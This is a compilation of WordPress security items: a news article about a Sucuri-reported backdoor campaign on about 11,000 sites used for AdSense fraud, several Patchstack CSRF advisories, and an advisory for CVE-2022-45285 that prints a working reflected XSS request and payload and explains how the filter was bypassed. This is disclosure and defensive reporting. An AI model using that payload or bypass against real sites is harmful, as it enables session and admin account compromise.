By Waqas
All infected websites are using the WordPress CMS.
This is a post from HackRead.com Read the original post: Adsense abused: 11,000 sites hacked in a backdoor attack

The campaign has been active since September 2022, and the recent surge in website infections was noted in January 2023.

Sucuri researchers have reported a backdoor that has successfully infected around 11,000 websites in recent months. Here are the details shared by Sucuri in its technical report.

It is a fact that, lately, several Google products have been exploited and abused to spread malware and other malicious components, including **Google Ads**, **Google Home**, and **Google Drive**.

In fact, **a study revealed** that Google Drive accounted for 50% of malicious Office document downloads in 2022.

**Backdoor Redirecting Visitors to Hacked Sites**

According to Sucuri’s research, the backdoor redirects users to sites that show fraudulent views of **Google AdSense ads**. The company’s SiteCheck remote scanner has detected more than 10,890 infected sites. The activity has further intensified recently, with 70 new malicious domains disguised as legitimate in 2023 and 2,600 infected sites discovered on the web.

All the infected websites detected by Sucuri were using **WordPress CMS**. These had an obfuscated PHP script injected into the legitimate files on the websites, such as index.php, wp-activate.php, wp-signup.php, and wp-cron.php, etc.

**How Does the Attack Work?**

In the past two months, Sucuri researchers have identified over 75 pseudo-short URL domains linked with redirected traffic. It must be noted that almost all of the malicious URLs appear to belong to the same **URL-shortening service**. Some even mimic the names of popular shortening services, such as Bitly.

The visitors are redirected to a range of low-quality websites developed on the Question2Answer CMS, and the discussion topics are mostly related to cryptocurrency or **blockchain**.

Researchers believe it could be intentional to advertise new cryptocurrencies in a pump-and-dump, ICO fraud. However, researchers are certain that the primary objective of this ad fraud is to inorganically increase traffic to sites that contain the AdSense ID so that **Google ads** can be displayed for revenue generation.

Image source: Sucuri

**How does It Evade Detection?**

Some of these malicious sites also inject obfuscated code into “wp-blog-header.php.” This code works as a backdoor to ensure the malware evades disinfection attempts. It performs this by loading itself into files that run as soon as the targeted server is restarted.

“Since the additional malware injection is lodged within the wp-blog-header.php file it will execute whenever the website is loaded and reinfect the website. This ensures that the environment remains infected until all traces of the malware are dealt with.”

The malware hides its presence by suspending redirections when a visitor logs in as an administrator or visits an infected site within 2 to 6 hours. The malicious code is hidden using Base64 encoding.

**How URL Shorteners Abused in the Attack?**

When the user enters any domain names in their browser, they are redirected to a real URL shortening service, e.g., Cuttly or Bitly, but these are not genuine public URL shorteners. Each domain has a few working URLs that redirect visitors to spammy Q&A sites featuring AdSense monetization.

In a **blog post**, Sucuri researcher Ben Martin stated that the “backdoors download additional shells and a Leaf PHP mailer script from a remote domain filestacklive and place them in files with random names in wp-includes, wp-admin, and wp-content directories.”

The campaign has been active since September 2022, and the recent surge in website infections was noted in January 2023.

“At this point, we haven’t noticed malicious behaviour on these landing pages. However, at any given time, site operators may arbitrarily add malware or start redirecting traffic to other third-party websites,” researchers noted.

1.  **Google Docs exploit to spread phishing** **links**
2.  **Google, Microsoft and Oracle generated most flaws**
3.  **Malware-infected Minecraft modpacks hit Play Store**
4.  **Ad-blocker extension injected ads in Google searches**
5.  **Fake Brave browser site drops malware from Google Ads**

I am a UK-based cybersecurity journalist with a passion for covering the latest happenings in cyber security and tech world. I am also into gaming, reading and investigative journalism

Adsense abused: 11,000 sites hacked in a backdoor attack

Cross-Site Request Forgery (CSRF) vulnerability in Photon WP Material Design Icons for Page Builders plugin <= 1.4.2 versions.

**Solution**

Update the WordPress Material Design Icons for Page Builders plugin to the latest available version (at least 1.4.3).

Lana Codes discovered and reported this Cross Site Request Forgery (CSRF) vulnerability in WordPress Material Design Icons for Page Builders Plugin. This could allow a malicious actor to force higher privileged users to execute unwanted actions under their current authentication. For example a password change which will then allow the malicious actor to login into the admin account. This vulnerability has been fixed in version 1.4.3.

**1 other known vulnerability for this plugin**To plugin page

**Report to Patchstack Alliance bounty platform and earn monthly cash prizes.**

Learn more

CVE-2023-24382: WordPress Material Design Icons for Page Builders plugin <= 1.4.2 - Cross Site Request Forgery (CSRF) vulnerability - Patchstack

Cross-Site Request Forgery (CSRF) vulnerability in ExpressTech Quiz And Survey Master – Best Quiz, Exam and Survey Plugin for WordPress plugin <= 8.0.7 versions.

**Solution**

Update the WordPress Quiz And Survey Master plugin to the latest available version (at least 8.0.8).

Oliver K. discovered and reported this Cross Site Request Forgery (CSRF) vulnerability in WordPress Quiz And Survey Master Plugin. This could allow a malicious actor to force higher privileged users to execute unwanted actions under their current authentication. For example a password change which will then allow the malicious actor to login into the admin account. This vulnerability has been fixed in version 8.0.8.

**19 other known vulnerabilities for this plugin**To plugin page

**Report to Patchstack Alliance bounty platform and earn monthly cash prizes.**

Learn more

CVE-2022-46862: WordPress Quiz And Survey Master plugin <= 8.0.7 - Cross Site Request Forgery (CSRF) - Patchstack

Cross-Site Request Forgery (CSRF) vulnerability in Ecwid Ecommerce Ecwid Ecommerce Shopping Cart plugin <= 6.11.3 versions.

**Solution**

Update the WordPress Ecwid Shopping Cart plugin to the latest available version (at least 6.11.4).

Lana Codes discovered and reported this Cross Site Request Forgery (CSRF) vulnerability in WordPress Ecwid Shopping Cart Plugin. This could allow a malicious actor to force higher privileged users to execute unwanted actions under their current authentication. For example a password change which will then allow the malicious actor to login into the admin account. This vulnerability has been fixed in version 6.11.4.

**2 other known vulnerabilities for this plugin**To plugin page

**Report to Patchstack Alliance bounty platform and earn monthly cash prizes.**

Learn more

CVE-2023-24377: WordPress Ecwid Ecommerce Shopping Cart plugin <= 6.11.3 - Cross Site Request Forgery (CSRF) - Patchstack

Cross-Site Request Forgery (CSRF) vulnerability in ShapedPlugin WP Tabs – Responsive Tabs Plugin for WordPress plugin <= 2.1.14 versions.

**Solution**

Update the WordPress WP Tabs plugin to the latest available version (at least 2.1.15).

Lana Codes discovered and reported this Cross Site Request Forgery (CSRF) vulnerability in WordPress WP Tabs Plugin. This could allow a malicious actor to force higher privileged users to execute unwanted actions under their current authentication. For example a password change which will then allow the malicious actor to login into the admin account. This vulnerability has been fixed in version 2.1.15.

**1 other known vulnerability for this plugin**To plugin page

**Report to Patchstack Alliance bounty platform and earn monthly cash prizes.**

Learn more

CVE-2023-25065: WordPress WP Tabs – Responsive Tabs Plugin for WordPress plugin <= 2.1.14 - Cross Site Request Forgery (CSRF) - Patchstack

Cross-Site Request Forgery (CSRF) vulnerability in Orchestrated Corona Virus (COVID-19) Banner & Live Data plugin <= 1.7.0.6 versions.

**Solution**

No patched version is available. No reply from the vendor.

ptsfence discovered and reported this Cross Site Request Forgery (CSRF) vulnerability in WordPress Corona Virus (COVID-19) Banner & Live Data Plugin. This could allow a malicious actor to force higher privileged users to execute unwanted actions under their current authentication. For example a password change which will then allow the malicious actor to login into the admin account. This vulnerability has not been known to be fixed yet.

**No other known vulnerabilities for this plugin**Report

**Report to Patchstack Alliance bounty platform and earn monthly cash prizes.**

Learn more

CVE-2022-43469: WordPress Corona Virus (COVID-19) Banner & Live Data plugin <= 1.7.0.6 - Cross-Site Request Forgery (CSRF) vulnerability - Patchstack

Cross-Site Request Forgery (CSRF) vulnerability in FolioVision FV Flowplayer Video Player plugin <= 7.5.30.7212 versions.

**Solution**

Update the WordPress FV Flowplayer Video Player plugin to the latest available version (at least 7.5.31.7212).

Cat discovered and reported this Cross Site Request Forgery (CSRF) vulnerability in WordPress FV Flowplayer Video Player Plugin. This could allow a malicious actor to force higher privileged users to execute unwanted actions under their current authentication. For example a password change which will then allow the malicious actor to login into the admin account. This vulnerability has been fixed in version 7.5.31.7212.

**10 other known vulnerabilities for this plugin**To plugin page

**Report to Patchstack Alliance bounty platform and earn monthly cash prizes.**

Learn more

CVE-2023-25066: WordPress FV Flowplayer Video Player plugin <= 7.5.30.7212 - Cross Site Request Forgery (CSRF) - Patchstack

The Profile Builder – User Profile & User Registration Forms plugin for WordPress is vulnerable to sensitive information disclosure via the [user_meta] shortcode in versions up to, and including 3.9.0. This is due to insufficient restriction on sensitive user meta values that can be called via that shortcode. This makes it possible for authenticated attackers, with subscriber-level permissions, and above to retrieve sensitive user meta that can be used to gain access to a high privileged user account. This does require the Usermeta shortcode be enabled to be exploited.

CVE-2023-0814: Changeset 2864329 for profile-builder – WordPress Plugin Repository

Vsourz Digital Advanced Contact form 7 DB Versions 1.7.2 and 1.9.1 is vulnerable to Cross Site Scripting (XSS).

Permalink

Cannot retrieve contributors at this time

Reflected XSS (Cross-Site Scripting) attack - CVE-2022-45285

\------------------------------------------------------------

Vendor: Vsourz Digital

Wordpress Plugin Versions: Advanced Contact form 7 DB - 1.7.2, 1.9.1

Type: Remote attack

We have identified that the “Advanced Contact form 7 DB - 1.7.2, 1.9.1” Wordpress Plugin Versions are vulnerable to Reflective Cross-site scripting (XSS). This is due to that the Web App fails to sanitize HTML/JavaScript code on the server-side. By leveraging this issue, an attacker is able to cause arbitrary HTML and JavaScript code to be executed in a user's browser (e.g. admin) within the security context of the affected site. This attack can be used in conjunction with a social engineering techniques.

We have managed to bypass the client-side protection (URL Encoding) by intercepting the GET HTTP request using an HTTP proxy tool, and then inserting the XSS payload. Also, we have bypassed the server-side protection (Backslash Escaping) using backticks instead of single or double quotes.

Below, evidence is provided.

Request:

GET /formsurvey/index.php/user/admin/?'><script>alert(\`XSS\`)</script><' HTTP/1.1

Host: 1.1.1.1

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:106.0) Gecko/20100101 Firefox/106.0

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,\*/\*;q=0.8

Accept-Language: en-US,en;q=0.5

Accept-Encoding: gzip, deflate

DNT: 1

Connection: close

Upgrade-Insecure-Requests: 1

Response:

HTTP/1.1 200 OK

Date: Fri, 04 Nov 2022 12:56:09 GMT

Server: Apache

Expires: Wed, 11 Jan 1984 05:00:00 GMT

Cache-Control: no-cache, must-revalidate, max-age=0

Pragma: no-cache

Link: <http://1.1.1.1/formsurvey/index.php/wp-json/>; rel="https://api.w.org/"

Link: <http://1.1.1.1/formsurvey/?p=33>; rel=shortlink

Vary: Accept-Encoding

Content-Length: 31433

Connection: close

Content-Type: text/html; charset=UTF-8

<!DOCTYPE html>

....

....

<link rel='canonical' href='http://1.1.1.1/formsurvey/index.php/user/admin/?\\'><script>alert(\`XSS\`)</script><\\'' />

....

....

</html>

CVE-2022-45285: Vsourz-Digital/AdvancedContactForm_CF7_DB_XSS.txt at main · IthacaLabs/Vsourz-Digital

Cross-Site Request Forgery (CSRF) in OptinlyHQ Optinly – Exit Intent, Newsletter Popups, Gamification & Opt-in Forms plugin <= 1.0.15 versions.

**Solution**

Update the WordPress Optinly plugin to the latest available version (at least 1.0.16).

ptsfence discovered and reported this Cross Site Request Forgery (CSRF) vulnerability in WordPress Optinly Plugin. This could allow a malicious actor to force higher privileged users to execute unwanted actions under their current authentication. For example a password change which will then allow the malicious actor to login into the admin account. This vulnerability has been fixed in version 1.0.16.

**1 other known vulnerability for this plugin**To plugin page

**Report to Patchstack Alliance bounty platform and earn monthly cash prizes.**

Learn more

Tag

#wordpress